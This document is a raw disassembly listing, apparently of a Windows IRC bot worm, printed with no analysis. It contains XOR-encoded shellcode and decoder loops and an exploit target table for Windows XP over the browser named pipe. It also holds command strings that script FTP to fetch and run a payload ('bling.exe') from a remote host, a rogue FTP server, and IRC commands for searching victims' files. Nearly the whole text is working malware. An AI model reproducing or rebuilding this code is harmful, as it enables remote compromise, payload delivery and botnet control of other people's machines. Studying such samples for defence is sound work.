[esp+arg_0] jnz short loc_428935 mov ebx, [edi+24h] add ebx, ebp mov cx, [ebx+ecx*2] mov ebx, [edi+1Ch] add ebx, ebp mov ebx, [ebx+ecx*4] add ebx, ebp loc_428965: ; CODE XREF: sub_428918:loc_428935j mov [esp+arg_0], ebx retn sub_428918 endp ; =============== S U B R O U T I N E ======================================= sub_42896A proc near ; CODE XREF: sub_428918+7p ; FUNCTION CHUNK AT 004289A2 SIZE 00000007 BYTES xor eax, eax mov eax, fs:[eax+30h] test eax, eax js short loc_428983 mov eax, [eax+0Ch] mov esi, [eax+1Ch] lodsd mov ebp, [eax+8] jmp loc_42898E ; --------------------------------------------------------------------------- loc_428983: ; CODE XREF: sub_42896A+8j mov eax, [eax+34h] add eax, 7Ch mov ebp, [eax+3Ch] loc_42898E: ; CODE XREF: sub_42896A+14j pop edi xor esi, esi pusha push esi jmp short loc_4289A2 sub_42896A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_428995 proc near ; CODE XREF: sub_42896A:loc_4289A2p push 60E0CEEFh push 0E8AFE98h push edi jmp edi sub_428995 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42896A loc_4289A2: ; CODE XREF: sub_42896A+29j call sub_428995 loc_4289A7: ; DATA XREF: sub_403A35+1Bo ; sub_40EE72+822o add [ebx], ah ; END OF FUNCTION CHUNK FOR sub_42896A ; --------------------------------------------------------------------------- db 3 dup(0) dword_4289AC dd 60h ; DATA XREF: sub_403A90+320o dword_4289B0 dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_403A90+2F5o dword_4289BC dd 30h ; DATA XREF: sub_403A90+2CAo ; ___:0042FA1Co dword_4289C0 dd 0A1h ; DATA XREF: sub_403A90+29Fo dword_4289C4 dd 3 ; DATA XREF: sub_403A90+246o aCccc db 'CCCC',0 ; DATA XREF: sub_403A90+153o align 10h loc_4289D0: ; DATA XREF: sub_403A90+E8o jmp short near ptr dword_4289D8 ; --------------------------------------------------------------------------- align 8 dword_4289D8 dd 0 ; CODE XREF: ___:loc_4289D0j aCmdCEchoOpenSD db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>' ; DATA XREF: ___:004042E4o ; sub_404F9A+92o db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0 dword_428A50 dd 0E983C933h, 0D9EED9AFh, 5BF42474h ; DATA XREF: ___:00404BFFo ; --------------------------------------------------------------------------- loc_428A5C: ; CODE XREF: ___:00428A66j xor dword ptr [ebx+13h], 6AD31EBBh sub ebx, 0FFFFFFFCh loop loc_428A5C inc edi jz short loc_428AA3 and eax, 952CE753h inc esp jle short loc_428ACB push es lahf cmp bl, [eax+2Fh] xchg edx, [ebp+1FC36FAFh] cmp al, 0E1h ; --------------------------------------------------------------------------- dd 355806F4h, 89381F9Bh, 5E58578Bh, 5B3D1F30h, 0EE7F877Bh dd 0ABD46A7Bh, 0A8D21371h, 3EE8EA50h ; --------------------------------------------------------------------------- lahf cmps byte ptr ss:[esi], byte ptr es:[edi] loc_428AA3: ; CODE XREF: ___:00428A69j mov [eax], esi inc ecx imul dword ptr [ebx+50h] js short near ptr loc_428B02+1 lock xchg ax, bp ; --------------------------------------------------------------------------- dw 768Ch dd 46D0F5BAh, 4EBF9730h, 5B107FA7h, 2A587A7Bh, 6693958Bh dd 0C7CF6E30h ; --------------------------------------------------------------------------- loc_428AC8: ; CODE XREF: ___:00428AF5j xor [esi-25h], bl loc_428ACB: ; CODE XREF: ___:00428A71j xor al, 0D3h nop popf db 64h push edi dec esi sub al, 0BCh mov al, ch mov ch, 39h fnsave byte ptr [esi-20h] pop eax shr dword ptr [ecx-60h], cl pop eax in al, 4Ah sub al, 0BAh loc_428AE4: ; CODE XREF: ___:00428B17j rcl ebp, cl db 3Eh xchg eax, esi or byte ptr [esi+2Ch], 0BCh in al, 97h db 36h or al, 3Ah rep fld tbyte ptr [eax-12h] jz short loc_428AC8 xchg eax, ebp imul esi, [esi+0Ah], 63h dec esi mov bl, 84h xchg eax, ebp insd dec ebp loc_428B02: ; CODE XREF: ___:00428AA9j cmp byte ptr [ecx], 0E8h dec ebp nop cmp eax, edi dec ebp sub al, 0BAh fnsave byte ptr [esi-2Dh] paddusw mm1, qword ptr [ebp+5Ah] mov ebp, [esi] jbe short loc_428B8E jo short loc_428AE4 fld dword ptr [ebp+edx*4+3BC3746Dh] out dx, al loope near ptr loc_428B25+1 add bl, [edi] loc_428B25: ; CODE XREF: ___:00428B21j mov bl, 0FDh sub esp, 0FFFFFFE1h add eax, 3E1EE39h add bl, [esi+57h] push ebp and ebp, esp loope near ptr loc_428B3A+2 cmp ch, bh dec edx loc_428B3A: ; CODE XREF: ___:00428B35j xchg dl, [ebp-72447295h] retn 0AAD8h ; --------------------------------------------------------------------------- db 3Dh dd 9586C844h, 0EB9786Bh, 7B076DDh, 3AB9FB32h, 0E31F37E2h dd 0E397745Ch, 99132F59h, 4791E011h, 0F9FF5C45h, 0C1EB6436h dd 18BBB510h, 95C5AD45h, 0BC2C5ACEh, 3B8149E0h, 6BB94FEAh dd 3B864FEAh, 0C7BBCE44h, 391D1B62h db 44h, 0C8h ; --------------------------------------------------------------------------- loc_428B8E: ; CODE XREF: ___:00428B15j mov ecx, 2C294495h mov edx, 0E92F4930h jg short loc_428C14 sub al, 0BCh jmp near ptr 54448F82h ; --------------------------------------------------------------------------- db 0D0h, 33h, 0Ah dd 9505E1E8h, 6AD31E6Bh, 0 dword_428BB0 dd 0EFFFC481h, 44FFFFh, 428BFCh ; DATA XREF: ___:00404BE6o dword_428BBC dd 42Ah ; DATA XREF: ___:00404B99r dword_428BC0 dd 3E8h ; DATA XREF: ___:00404C0Ar dword_428BC4 dd 258h ; DATA XREF: ___:00404BDCr byte_428BC8 db 0 ; DATA XREF: ___:00404B45r ; ___:00404C13r align 4 dd offset aWindowsXpSp0Sp ; "Windows XP (SP0+SP1)" dd 2C6h, 264h, 0 dd 1 dword_428BE0 dd 20804h ; DATA XREF: sub_404853r ___:00404C31o ... aWindowsXpSp0Sp db 'Windows XP (SP0+SP1)',0 ; DATA XREF: ___:00428BCCo align 4 dd 646E6957h, 2073776Fh, 2C34544Eh, 30303220h, 53282030h dd 532D3050h ; --------------------------------------------------------------------------- loc_428C14: ; CODE XREF: ___:00428B98j push eax xor al, 29h loc_428C17: ; DATA XREF: ___:00404B6Do add bl, ch add al, [eax] ; --------------------------------------------------------------------------- db 0 align 10h dword_428C20 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 0 ; DATA XREF: ___:00404A9Do dword_428C34 dd 4B324FC8h, 1D31670h, 475A7812h, 88E16EBFh, 0 ; DATA XREF: ___:00404A41o aSPipeBrowser db '\\%s\pipe\browser',0 ; DATA XREF: ___:004049D0o align 4 a_: ; DATA XREF: sub_406387+252o unicode 0, <.>,0 dword_428C60 dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: ___:004050E2o dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h dd 3Fh dup(22222222h), 1222222h, 64646401h, 2Dh dup(64646464h) db 2 dup(64h) word_429042 dw 6464h ; DATA XREF: ___:00428641o dd 11h dup(64646464h), 1016464h, 40h dup(65656565h), 66010165h dd 40h dup(66666666h), 67670101h, 3Fh dup(67676767h), 1676767h dd 68686801h, 3Fh dup(68686868h), 1016868h, 40h dup(69696969h) dd 6A010169h, 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh) dd 16B6B6Bh, 6C6C6C01h, 8 dup(6C6C6C6Ch), 41416C6Ch, 100D06EBh dd 6D6D501Eh, 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h dd 83877FD9h, 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h dd 0C2F4FDECh, 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h dd 86F4ED43h, 1EBFE826h, 0F3BF5D64h, 8AB518CFh, 73941BC9h dd 0AF5B8DF3h, 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h dd 0EF4F5CBh, 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h dd 0C7F474D4h, 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh dd 0B50CAEA0h, 57808D97h, 7B9212A0h, 518089F3h, 0E19A5097h dd 85773449h, 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh dd 0D43C8A9Bh, 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh dd 78281EB8h, 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh dd 0EFAF269Dh, 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h dd 0D0061FB1h, 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h dd 0EB3F091h, 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h, 14539B36h dd 2C47A345h, 0F5177263h, 78696A36h, 51809DBDh, 0D62D8E93h dd 86158899h, 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h dd 5780EE37h, 4838E43h, 5180BD0Ch, 0EFAF269Ah, 0D87B5338h dd 78A9269Bh, 877FD918h aMmmmmmmmmmmmmm db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0 align 4 loc_429E74: ; DATA XREF: ___:00405319o add al, 54h dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax loc_429E92: ; CODE XREF: ___:00429EE2j inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx push esp dec eax inc ebx fmul st(1), st mov al, 42h jmp short loc_429EE9 ; --------------------------------------------------------------------------- dec edx inc ebx push esp dec eax inc ebx and [ecx], eax jo short loc_429E92 inc edx add [eax-52h], esi inc edx loc_429EE9: ; CODE XREF: ___:00429ED9j mov edi, esp add edi, 2Ch sub sp, 204h xor ecx, ecx mov dl, 35h add cx, 138h loc_429EFC: ; CODE XREF: ___:00429F03j mov bl, [edi] xor bl, dl mov [edi], bl inc edi loop loc_429EFC ficom word ptr [esi] dec edi pop esp aaa xor [ecx+6Ch], bl int 28h ; DOS 2+ internal - KEYBOARD BUSY LOOP test eax, 79E4B9EBh inc ebp loope loc_429F4D lds edx, [edx] adc eax, 623D0515h db 66h pop es push 6 pop es assume es:nothing sbb esi, [ecx+79h] jns short near ptr loc_429F59+3 fidiv word ptr [eax] fxch4 st(4) retf 0CACAh ; --------------------------------------------------------------------------- db 68h dd 5F1FD8B6h, 0BE516C05h, 3975BE34h, 982945BEh, 0B83D4DBEh dd 2EBE096Ah, 6EBECE34h ; --------------------------------------------------------------------------- dec ebp loc_429F4D: ; CODE XREF: ___:00429F15j xor al, 0CEh mov esi, 0CC34297Eh mov esi, 0CF341166h loc_429F59: ; CODE XREF: ___:00429F26j db 64h, 67h mov si, 156Eh xor al, 0CEh add al, 0FCh jz short near ptr loc_429F67+2 cmc lodsb loc_429F67: ; CODE XREF: ___:00429F63j mov esi, 0CB34BE01h cdq add al, 0F7h in al, 0D7h mov cl, 0F5h inc eax retn 833Ah ; --------------------------------------------------------------------------- db 70h dd 7071B830h, 250C5331h, 453D440h, 6B6D6F25h, 1E676563h dd 3A74257Bh, 0BE7F3982h, 0CD34BD31h, 3078833Ah, 0EDB871BCh dd 403078CBh, 3178CB8Bh, 78CB1441h, 2D68B817h, 0BCE5CA66h dd 6D315FF2h, 0B53070BDh, 0B83F4270h, 5EB54168h, 4DDC2113h dd 0BCCACACAh, 66EE04FBh, 63666666h, 0E5CA6373h, 536D60A2h dd 255F05BCh, 60CA6260h, 62637BE1h, 66F960CAh, 60CA6260h dd 70B8A2E5h, 60CA65BDh, 0CA6060D1h, 71B8DD60h, 66A13930h dd 4D501B5Dh, 56695D50h, 4A15158h, 0F970B8E7h, 626262A1h dd 0F3CB6666h, 0A167C734h, 654D70B8h, 65BD70B8h, 66663D84h dd 0FBCB255Fh, 66666667h, 0D960CA60h, 60CACA5Fh, 0D5h word_42A040 dw 7A69h ; DATA XREF: sub_405144+30r align 4 aEchoOpenSDOE_0 db 'echo open %s %d > o&echo user 1 1 >> o &echo get bling.exe >> o &' ; DATA XREF: sub_405144+97o db 'echo quit >> o &ftp -n -s:o &bling.exe',0Dh,0Ah,0 align 10h unk_42A0B0 db 2 ; DATA XREF: ___:00405367o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 25h, 73h, 2Eh db 65h ; e db 1Fh, 78h, 1Fh db 70h ; p db 29h, 20h, 2 db 0BBh ; » db 0BBh, 2, 20h aAttemptingToRo db 'attempting to root %s',0 align 10h a221GoodbyeHapp db '221 Goodbye happy r00ting.',0Ah,0 ; DATA XREF: sub_4053D5+5D0o aQuit db 'QUIT',0 ; DATA XREF: sub_4053D5+5BCo ; sub_40EE72+537o align 4 a425CanTOpenDat db '425 Can',27h,'t open data connection.',0Ah,0 ; DATA XREF: sub_4053D5+5AFo align 4 unk_42A128 db 3 ; DATA XREF: sub_4053D5+564o db 33h, 6Eh, 2 db 7Ah ; z db 1Fh, 6Dh, 1Fh db 20h db 28h, 66h, 74h db 70h ; p db 64h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 3, 34h aSPortDNowExecu db '»» %s, port:%d now executing %s on remote ABOSAL7.',0 a226TransferC_0 db '226 Transfer complete.',0Ah,0 ; DATA XREF: sub_4053D5+545o a150OpeningBina db '150 Opening BINARY mode data connection',0Ah,0 ; DATA XREF: sub_4053D5+519o align 4 aRetr db 'RETR',0 ; DATA XREF: sub_4053D5+501o align 10h a200PortCommand db '200 PORT command successful.',0Ah,0 ; DATA XREF: sub_4053D5+4ECo align 10h aS_S_S_S db '%s.%s.%s.%s',0 ; DATA XREF: sub_4053D5+4DBo aXX db '%x%x',0Ah,0 ; DATA XREF: sub_4053D5+4A8o align 4 aS db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah ; DATA XREF: sub_4053D5+464o db ']',0 aPort db 'PORT',0 ; DATA XREF: sub_4053D5+42Bo align 4 a226TransferCom db '226 Transfer complete',0Ah,0 ; DATA XREF: sub_4053D5+3FDo align 4 aList db 'LIST',0 ; DATA XREF: sub_4053D5+3EAo align 4 a425PassiveNotS db '425 Passive not supported on this server',0Ah,0 ; DATA XREF: sub_4053D5+3AFo align 10h aPasv db 'PASV',0 ; DATA XREF: sub_4053D5+39Co align 4 a200TypeSetToI_ db '200 Type set to I.',0Ah,0 ; DATA XREF: sub_4053D5+38Co aI: ; DATA XREF: sub_4053D5+378o unicode 0, <I>,0 a200TypeSetToA_ db '200 Type set to A.',0Ah,0 ; DATA XREF: sub_4053D5+351o aA: ; DATA XREF: sub_4053D5+33Do unicode 0, <A>,0 aType db 'TYPE',0 ; DATA XREF: sub_4053D5+326o ; sub_4053D5+361o align 10h a257IsCurrentDi db '257 "/" is current directory.',0Ah,0 ; DATA XREF: sub_4053D5+316o align 10h off_42A2D0 dd offset dword_445750 ; DATA XREF: sub_4053D5+302o a350Restarting_ db '350 Restarting.',0Ah,0 ; DATA XREF: sub_4053D5+2F2o align 4 aRest db 'REST',0 ; DATA XREF: sub_4053D5+2DEo align 10h a215Nzmxftpd db '215 NzmxFtpd',0Ah,0 ; DATA XREF: sub_4053D5+2CEo align 10h aSyst db 'SYST',0 ; DATA XREF: sub_4053D5+2BAo align 4 a230UserLoggedI db '230 User logged in.',0Ah,0 ; DATA XREF: sub_4053D5+2AAo align 10h aPass db 'PASS',0 ; DATA XREF: sub_4053D5+296o align 4 a331PasswordReq db '331 Password required',0Ah,0 ; DATA XREF: sub_4053D5+286o align 10h aUser_1 db 'USER',0 ; DATA XREF: sub_4053D5+271o ; ___:0042F834o align 4 aSS_1 db '%s %s',0 ; DATA XREF: sub_4053D5+260o align 10h a220Nzmxftpd0wn db '220 NzmxFtpd 0wns j0',0Ah,0 ; DATA XREF: sub_4053D5+1D8o align 4 aRb db 'rb',0 ; DATA XREF: sub_405A58+24o ; sub_406C19+12Eo ... align 4 unk_42A36C db 2 ; DATA XREF: sub_405AF2+3F8o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 68h, 2 dup(74h) db 70h ; p db 64h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aErrorServerFai db 'Error: server failed, returned: <%d>.',0 align 10h asc_42A3B0 db 0Dh,0Ah,0 ; DATA XREF: sub_405AF2+2CFo align 4 asc_42A3B4: ; DATA XREF: sub_405AF2+293o ; sub_40EE72+A8o ... unicode 0, < >,0 aGet db 'GET ',0 ; DATA XREF: sub_405AF2+269o align 10h aHttp1_0200Ok_0 db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_405F4D+F7o db 'Server: myBot',0Dh,0Ah db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah db 'pragma: no-cache',0Dh,0Ah db 'Content-Type: %s',0Dh,0Ah db 'Content-Length: %i',0Dh,0Ah db 'Accept-Ranges: bytes',0Dh,0Ah db 'Date: %s %s GMT',0Dh,0Ah db 'Last-Modified: %s %s GMT',0Dh,0Ah db 'Expires: %s %s GMT',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 10h aHttp1_0200OkSe db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_405F4D+D4o db 'Server: myBot',0Dh,0Ah db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah db 'pragma: no-cache',0Dh,0Ah db 'Content-Type: %s',0Dh,0Ah db 'Accept-Ranges: bytes',0Dh,0Ah db 'Date: %s %s GMT',0Dh,0Ah db 'Last-Modified: %s %s GMT',0Dh,0Ah db 'Expires: %s %s GMT',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 4 aHhMmSs db 'HH:mm:ss',0 ; DATA XREF: sub_405F4D+98o ; sub_40B8D8+1AEo align 4 aDddDdMmmYyyy db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_405F4D+84o align 4 aApplicationOct db 'application/octet-stream',0 ; DATA XREF: sub_405F4D:loc_405FB3o align 4 aTextHtml db 'text/html',0 ; DATA XREF: sub_405F4D+5Fo align 4 unk_42A5D4 db 2 ; DATA XREF: sub_4060D0+296o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 68h, 2 dup(74h) db 70h ; p db 64h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aFailedToStartW db 'Failed to start worker thread, error: <%d>.',0 unk_42A61C db 2 ; DATA XREF: sub_4060D0+212o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 68h, 2 dup(74h) db 70h ; p db 64h, 2Eh, 70h db 1Fh db 6Ch, 1Fh, 67h db 29h ; ) db 20h, 2, 0BBh db 0BBh ; » db 2, 2 dup(20h) aWorkerThreadOf db 'Worker thread of server thread: %d.',0 asc_42A65C: ; DATA XREF: sub_4060D0+15Ao unicode 0, <*>,0 asc_42A660: ; DATA XREF: sub_4060D0+FBo ; sub_406387+29o ... dw 0Ah unicode 0, <>,0 aSS_2 db '%s%s',0 ; DATA XREF: sub_4060D0+EAo ; sub_406387+4DAo ... align 4 aS_1 db '%s',0 ; DATA XREF: sub_4060D0+3Ao ; sub_40B390+4Co ... align 10h aS_2 db '\%s',0 ; DATA XREF: sub_4060D0+2Fo aFoundIFilesAnd db 'Found: %i Files and %i Directories',0Dh,0Ah,0 ; DATA XREF: sub_406387+652o align 4 aTrTdColspan3_0 db '<TR>',0Dh,0Ah ; DATA XREF: sub_406387+637o db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah db '</TABLE>',0Dh,0Ah db '</BODY>',0Dh,0Ah db '</HTML>',0Dh,0Ah,0 align 4 aPrivmsgSFoundS db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0 ; DATA XREF: sub_406387+61Co align 4 a31s21sIBytes db '%-31s %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_406387+58Do align 10h aTdTdWidthDCo_0 db '</TD>',0Dh,0Ah ; DATA XREF: sub_406387+571o db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 aCodeSCodeA_0 db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_406387:loc_4068AFo align 10h aCode_30sGtCode db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_406387+521o align 10h aPrivmsgS31s2_0 db 'PRIVMSG %s :%-31s %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_406387+46Eo align 4 a31s21s db '%-31s %-21s',0Dh,0Ah,0 ; DATA XREF: sub_406387+42Fo align 4 aTdTdWidthDCode db '</TD>',0Dh,0Ah ; DATA XREF: sub_406387+3F9o db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 10h aCodeSCodeA db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_406387:loc_406741o align 4 aCode_29sGtCode db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_406387+3B3o align 4 aSS db '%s%s/',0 ; DATA XREF: sub_406387+36Co align 10h aTrTdWidthDAHre db '<TR>',0Dh,0Ah ; DATA XREF: sub_406387+328o ; sub_406387+496o db '<TD WIDTH="%d"><A HREF="',0 align 10h aPrivmsgS31s21s db 'PRIVMSG %s :%-31s %-21s',0Ah,0 ; DATA XREF: sub_406387+310o align 4 aS_0 db '<%s>',0 ; DATA XREF: sub_406387+2E9o ; sub_406387+40Bo align 4 a2_2d2_2d4d2_2d db '%2.2d/%2.2d/%4d %2.2d:%2.2d %s',0 ; DATA XREF: sub_406387+2BFo aAm db 'AM',0 ; DATA XREF: sub_406387+295o align 4 aPm db 'PM',0 ; DATA XREF: sub_406387+28Ao align 4 a__ db '..',0 ; DATA XREF: sub_406387+237o align 10h aTrTdColspan3AH db '<TR>',0Dh,0Ah ; DATA XREF: sub_406387+1C5o db '<TD COLSPAN="3"><A HREF="%s"><CODE>Parent Directory</CODE></A></T' db 'D>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aSearchingForS db 'Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_406387+149o aTrTdColspan3Hr db '<TR>',0Dh,0Ah ; DATA XREF: sub_406387+12Do db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aTrTdWidthDCode db '<TR>',0Dh,0Ah ; DATA XREF: sub_406387+F9o db '<TD WIDTH="%d"><CODE>Name</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d"><CODE>Last Modified</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>Size</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 10h aH1IndexOfSH1Ta db '<H1>Index of %s</H1>',0Dh,0Ah ; DATA XREF: sub_406387+AEo db '<TABLE BORDER="0">',0Dh,0Ah,0 align 4 aHtmlHeadTitleI db '<HTML>',0Dh,0Ah ; DATA XREF: sub_406387+79o db '<HEAD>',0Dh,0Ah db '<TITLE>Index of %s</TITLE>',0Dh,0Ah db '</HEAD>',0Dh,0Ah db '<BODY>',0Dh,0Ah,0 align 4 aPrivmsgSSearch db 'PRIVMSG %s :Searching for: %s',0Dh,0Ah,0 ; DATA XREF: sub_406387+4Bo aSSHttp1_1Refer db '%s %s HTTP/1.1',0Ah ; DATA XREF: sub_406AF8+8Fo db 'Referer: %s',0Ah db 'Host: %s',0Ah db 'Connection: close',0Ah db 0Ah,0 dword_42AB14 dd 4000500h, 7868746Bh, 0 ; DATA XREF: sub_406C19+493o dword_42AB20 dd 7A026E02h, 201F6D1Fh, 74667428h, 1F702E70h, 29671F6Ch ; DATA XREF: sub_406C19+47Fo dd 0BBBB0220h, 74202002h, 736E6172h, 20726566h, 20206F74h dd 20207325h, 75731F02h, 73656363h, 6C756673h, 6320796Ch dd 6C706D6Fh, 64657465h, 202C021Fh, 6F666E69h, 2528203Ah dd 2E2973h unk_42AB74 db 2 ; DATA XREF: sub_406C19+3B6o db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 74h, 66h, 74h db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFileNotFoundSS db ' File not found: %s (%s).',0 dword_42ABA8 dd 1000500h, 656C6946h, 746F4E20h, 756F4620h, 646Eh ; DATA XREF: sub_406C19+399o dword_42ABBC dd 7A026E02h, 201F6D1Fh, 74667428h, 1F702E70h, 29671F6Ch ; DATA XREF: sub_406C19+33Eo dd 0BBBB0220h, 74202002h, 736E6172h, 20726566h, 20206F74h dd 20207325h, 65621F02h, 6E6E6967h, 1F676E69h, 69202C02h dd 3A6F666Eh, 73252820h, 2E29h unk_42AC04 db 2 ; DATA XREF: sub_406C19+15Ao db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 74h, 66h, 74h db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aFailedToOpenFi db ' Failed to open file: %s.',0 unk_42AC38 db 2 ; DATA XREF: sub_406C19+6Ao db 6Eh, 2, 7Ah db 1Fh db 6Dh, 1Fh, 20h db 28h ; ( db 74h, 66h, 74h db 70h ; p db 2Eh, 70h, 1Fh db 6Ch ; l db 1Fh, 67h, 29h db 20h db 2, 2 dup(0BBh) db 2 aErrorSocketF_2 db ' Error: socket() failed, returned: <%d>.',0 align 4 aOctet db 'octet',0 ; DATA XREF: sub_406C19+Fo align 8 